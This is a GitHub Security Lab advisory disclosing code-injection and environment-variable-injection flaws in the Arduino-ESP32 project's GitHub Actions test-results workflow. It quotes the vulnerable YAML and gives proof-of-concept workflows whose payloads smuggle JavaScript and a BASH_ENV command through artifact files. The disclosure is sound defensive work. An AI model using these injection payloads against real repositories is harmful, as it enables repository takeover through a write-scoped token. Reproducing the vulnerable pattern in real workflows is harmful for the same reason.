Coordinated Disclosure Timeline
- 2024-07-22: Reported through GitHub’s Private Vulnerability Reporting (PVR).
- 2024-07-22: Issue is acknowledged.
- 2024-09-17: Advisory published
Summary
Arduino-esp32 is vulnerable to Poisoned Pipeline Execution (PPE) allowing malicious actors to take over the repository.
Project
Arduino-ESP32
Tested Version
Latest commit at the time of reporting
Details
Code injection in tests_results.yml
workflow (GHSL-2024-169
)
The tests_results
workflow is triggered when the Wokwi tests
workflows completes:
on:
workflow_run:
workflows: ["Wokwi tests"]
types:
- completed
It then downloads an artifact uploaded by the triggering workflow into the artifacts/
directory:
- name: Download and Extract Artifacts
uses: dawidd6/action-download-artifact@v6
with:
run_id: ${{ github.event.workflow_run.id }}
path: ./artifacts
And read the contents of the artifacts into different Environment Variables:
```yaml
- name: Get original info
run: |
original_event=$(cat ./artifacts/parent-artifacts/event.txt)
original_action=$(cat ./artifacts/parent-artifacts/action.txt)
original_sha=$(cat ./artifacts/parent-artifacts/sha.txt)
original_ref=$(cat ./artifacts/parent-artifacts/ref.txt)
original_conclusion=$(cat ./artifacts/parent-artifacts/conclusion.txt)
echo "original_event=$original_event" >> $GITHUB_ENV
echo "original_action=$original_action" >> $GITHUB_ENV
echo "original_sha=$original_sha" >> $GITHUB_ENV
echo "original_ref=$original_ref" >> $GITHUB_ENV
echo "original_conclusion=$original_conclusion" >> $GITHUB_ENV
Some of the attacker-controlled variables (such as the original_ref
variable) are later interpolated into a JavaScript script, enabling an attacker to alter the code of the script and execute arbitrary code in the context of a high-privileged workflow:
- name: Clean up caches
if: always()
uses: actions/github-script@v7
with:
script: |
const ref = '${{ env.original_ref }}';
...
PoC
- Clone the repository
- Edit the
tests_wokwi.yml
workflow.
name: Wokwi tests
on:
pull_request:
jobs:
trigger:
name: Upload artifact
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p artifacts/parent-artifacts/
printf "${{ github.sha }}" > artifacts/parent-artifacts/sha.txt
printf "pull_request" > artifacts/parent-artifacts/event.txt
printf "success" > artifacts/parent-artifacts/conclusion.txt
printf "" > artifacts/parent-artifacts/action.txt
# PAYLOAD
printf "foo'; console.log('CODE INJECTION'); //" > artifacts/parent-artifacts/ref.txt
- Create a Pull Request with this change.
- Since the modified workflow is triggered on
pull_request
, the attacker Pull Request will trigger it and upon completion will trigger the vulnerablePublish and clean test results
workflow which will read the malicious artifact and use its contents to modify the JS script.
Impact
This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:
Actions: write
Checks: write
Contents: write
Metadata: read
PullRequests: write
Statuses: write
Environment Variable injection (GHSL-2024-170
)
In the same workflow/step, the untrusted data from an artifact is redirected to GITHUB_ENV to create a new Environment Variable:
- name: Get original info
run: |
original_event=$(cat ./artifacts/parent-artifacts/event.txt)
original_action=$(cat ./artifacts/parent-artifacts/action.txt)
original_sha=$(cat ./artifacts/parent-artifacts/sha.txt)
original_ref=$(cat ./artifacts/parent-artifacts/ref.txt)
original_conclusion=$(cat ./artifacts/parent-artifacts/conclusion.txt)
echo "original_event=$original_event" >> $GITHUB_ENV
echo "original_action=$original_action" >> $GITHUB_ENV
echo "original_sha=$original_sha" >> $GITHUB_ENV
echo "original_ref=$original_ref" >> $GITHUB_ENV
echo "original_conclusion=$original_conclusion" >> $GITHUB_ENV
The $GITHUB_ENV
pointed file is just a regular file where every KEY=VALUE
will be used to define a new Environment Variable.
An attacker can send a malicious event.txt
file (or any of the other artifacts), with the following content:
pull_request
BASH_ENV=$(echo "ENV-VAR INJECTION")
Which will result in two Environment Variables being defined:
- original_event=pull_request
- BASH_ENV=$(echo “ENV-VAR INJECTION”)
The BASH_ENV
will pollute the bash environment so that next Run
step will execute the code in the variable.
PoC
- Clone the repository
- Edit the `` workflow.
name: Wokwi tests
on:
pull_request:
jobs:
trigger:
name: Upload artifact
runs-on: ubuntu-latest
steps:
- run: |
printf "${{ github.sha }}" > artifacts/parent-artifacts/sha.txt
printf "pull_request" > artifacts/parent-artifacts/event.txt
printf "success" > artifacts/parent-artifacts/conclusion.txt
printf "" > artifacts/parent-artifacts/action.txt
# PAYLOAD
printf "pull_request\nBASH_ENV=$(echo 'ENV-VAR INJECTION')" > artifacts/parent-artifacts/ref.txt
- Create a Pull Request with this change.
- Since the modified workflow is triggered on
pull_request
, the attacker Pull Request will trigger it and upon completion will trigger the vulnerablePublish and clean test results
workflow which will read the malicious artifact and use its contents to modify the JS script.
Impact
This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:
Actions: write
Checks: write
Contents: write
Metadata: read
PullRequests: write
Statuses: write
Resources
- CodeQL for JavaScript - Expression injection in Actions
- Keeping your GitHub Actions and workflows secure Part 2: Untrusted input
- Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-169
and GHSL-2024-170
in any communication regarding this issue.
CVE
- CVE-2024-45798